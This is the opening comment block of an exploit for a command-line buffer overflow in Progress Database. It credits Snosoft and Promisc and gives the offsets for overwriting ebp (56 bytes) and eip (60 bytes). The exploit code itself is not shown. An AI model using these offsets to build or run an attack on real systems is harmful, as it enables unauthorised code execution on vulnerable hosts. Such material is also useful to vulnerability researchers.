/*
* Yet another Progress Database exploit (version ??)
*
* The vulnerability was found by KF / Snosoft (http://www.snosoft.com)
* Exploit coded up by The Itch / Promisc (http://www.promisc.org)
*
* This exploit was developed on the Snosoft vulnerability research machines
* mail dotslash@snosoft.com if you are interested in contributing research time
*
* - The Itch
* - itchie@promisc.org
*
* - Technical details concerning the exploit -
*
* 1). Buffer overflow occurs after writing more then 56 bytes into the buffer at the command line
* (56 to overwrite ebp, 60 to overwrite eip).
* 2). If you write more then 65 bytes, other frames will be overwritten afterwards and will mess up
* your flow of arbitrary code execution.
